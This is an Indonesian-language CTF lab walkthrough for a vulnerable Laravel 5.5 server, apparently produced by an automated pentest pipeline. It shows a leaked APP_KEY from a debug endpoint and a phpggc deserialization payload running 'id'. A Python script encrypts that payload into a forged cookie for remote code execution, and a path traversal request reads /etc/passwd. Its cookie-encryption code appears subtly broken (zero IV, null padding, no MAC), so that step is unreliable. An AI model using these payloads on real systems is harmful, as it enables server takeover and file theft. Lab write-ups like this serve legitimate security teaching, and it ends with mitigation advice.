TDCTF Academy Logo TDCTF ACADEMY

Laravel - Debug Mode & Remote Code Execution

Target: laravel.vuln.cybersecurity.or.id:8090 | Level: Lanjutan | Tools: curl, phpggc, Python

Challenge

Laravel 5.5 dengan debug mode aktif dan APP_KEY terekspos. Kombinasi ini memungkinkan Remote Code Execution (RCE).


1. Eksploitasi Debug Mode

Langkah 1: Cek Debug Endpoint

curl -s http://laravel.vuln.cybersecurity.or.id:8090/debug

Hasil:

{
"app_env": "local",
"app_debug": true,
"app_key": "base64:OB4ojs1c9E06yheMd4JD2MzWddKdLrrGsEfq3Kdls2A=",
"db_connection": "sqlite",
"php_version": "7.4.33",
"laravel_version": "5.5.50"
}

APP_KEY bocor! Informasi krusial:

  • app_debug: true - debug mode aktif
  • app_key - bisa dipakai untuk enkripsi session, cookie, dan serialization
  • laravel_version: 5.5.50 - versi lama dengan banyak CVE

2. Remote Code Execution via APP_KEY

Teori

APP_KEY di Laravel digunakan untuk mengenkripsi cookie, session, dan data serialized. Dengan APP_KEY, kita bisa membuat cookie terenkripsi yang mengandung payload berbahaya.

Langkah 1: Generate Payload

# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate payload untuk Laravel
php ./phpggc Laravel/RCE1 system 'id' --base64

Langkah 2: Enkripsi dengan APP_KEY

import base64
from Crypto.Cipher import AES

app_key = base64.b64decode("OB4ojs1c9E06yheMd4JD2MzWddKdLrrGsEfq3Kdls2A=")
payload = b"<phpggc_output>"

# Enkripsi
cipher = AES.new(app_key, AES.MODE_CBC, iv=b"\x00"*16)
encrypted = cipher.encrypt(payload.ljust(16*((len(payload)//16)+1), b"\x00"))

# Kirim sebagai cookie
cookie = base64.b64encode(encrypted).decode()
print(cookie)
curl -s http://laravel.vuln.cybersecurity.or.id:8090/ \\
-H "Cookie: <cookie_name>=PAYLOAD_ENCRYPTED"

3. Path Traversal

Coba baca file sensitif via parameter file:

curl -s "http://laravel.vuln.cybersecurity.or.id:8090/debug?file=../../../etc/passwd"

Kesimpulan

Vulnerability Dampak
Debug Mode (APP_KEY bocor) Session bisa dipalsukan
Laravel 5.5 (usang) Banyak CVE terbuka
Potensi RCE Kontrol penuh server

️ Mitigasi

  1. Matikan debug mode - APP_DEBUG=false
  2. Rotasi APP_KEY - php artisan key:generate
  3. Update Laravel ke versi terbaru
  4. Jangan ekspos endpoint /debug

Walkthrough ini disusun untuk tujuan edukasi keamanan siber. Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI